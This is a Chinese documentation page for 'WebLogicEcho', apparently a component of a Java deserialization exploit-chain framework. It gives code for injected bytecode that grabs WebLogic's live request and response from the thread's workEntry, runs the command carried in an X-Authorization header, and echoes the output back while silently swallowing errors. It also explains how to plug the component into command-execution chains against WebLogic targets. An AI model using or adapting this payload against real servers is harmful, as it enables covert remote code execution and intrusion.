- 类别:bytecode 别名:— 优先级:—
- 作者:ReaJason
- 依赖:无(生成字节码仅依赖目标 WebLogic 运行时自身的类)
生成一段自执行字节码:被目标 JVM 加载后静态块自动实例化,构造函数从当前线程的 workEntry 取出 WebLogic 正在处理的请求与响应,读取指定请求头中的命令、执行并写回,实现 WebLogic 的明文命令回显。是链尾 sink(END)。
- 入口
tags:Bytecode(产出原始字节码)、Echo(回显 sink)、END(链终点)。 - 衔接
nextTags:空 —— 终点构件。 excludes:无。
gadget 本体与同族一致,改写模板静态字段后返回字节:
@Param(name="请求头 key", description="执行命令的 Header 头")
public String header = "X-Authorization";
public byte[] getObject() throws Exception {
JavassistHelper javassistHelper = new JavassistHelper(WebLogicEchoBytecode.class);
javassistHelper.modifyStringField("header", this.header);
return javassistHelper.getBytecode();
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
chain.doCreate(context); // END
return this.getObject();
}回显核心在模板构造函数(static { new WebLogicEchoBytecode(); } 触发):
// WebLogicEchoBytecode.java(关键片段)
Object workEntry = getFieldValue(Thread.currentThread(), "workEntry"); // WebLogic 处理线程的 workEntry
Object request = null, response = null;
try {
Object connectionHandler = getFieldValue(workEntry, "connectionHandler");
request = getFieldValue(connectionHandler, "request");
response = getFieldValue(connectionHandler, "response");
} catch (Exception x) { // 版本差异兜底
request = workEntry;
response = invokeMethod(workEntry, "getResponse", null, null);
}
if (request == null) return;
String data = (String) invokeMethod(request, "getHeader", new Class[]{String.class}, new Object[]{header});
if (data == null || data.isEmpty()) break; // 无命令头则不回显
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(this.run(data));
writer.flush(); writer.close();
invokeMethod(response, "send", null, null); // WebLogic 需显式 send() 刷出响应run(data) 与同族一致(ProcessBuilder 执行 + Scanner("\\A") 收全部输出)。WebLogic 专属要点:
- 定位请求靠
Thread.workEntry:WebLogic 的 muxer/执行线程持有workEntry,其connectionHandler.request/response即当前请求响应;这是与 Tomcat 系(Poller 线程)、Undertow(ThreadLocal)不同的抓取路径。 - 双路径兼容:优先走
connectionHandler;捕获异常后退化为把workEntry当 request、workEntry.getResponse()当 response,覆盖不同 WebLogic 版本的字段布局差异。 - 显式
response.send():不同于其它容器 flush 即可,WebLogic 需再调send()才把回显数据真正推给客户端。 - 命令载体仍是
header(默认X-Authorization)请求头,全程try/catch(Throwable)静默。
| 字段 | 名称 | 说明 | 默认 | 可选值 |
|---|---|---|---|---|
header |
请求头 key | 承载待执行命令的 HTTP 请求头名 | X-Authorization |
任意合法头名 |
- gadgets.json 中该 gadget 无 description;实现上通过
connectionHandler主路径 +workEntry.getResponse()兜底路径兼容多版本 WebLogic。 - 明文回显,一次请求一次结果,不落地。生效前提:字节码被目标端加载并实例化(一般经
TemplatesImpl),触发请求带对的header头,且当前线程确有workEntry(即在请求处理线程内执行)。
自由构件,未直接出现在 51 条预设链中。用法:将“命令执行”类链的 sink 由 Exec 替换为 WebLogicEcho,对 WebLogic 目标带回显执行。
- 上游(消费
Bytecode):BytecodeConvert 及其它字节码装载器。 - 同族 Echo sink:TongWebEcho、UndertowEcho、WebSphereEcho、TomcatEcho。
- 可替代:Exec。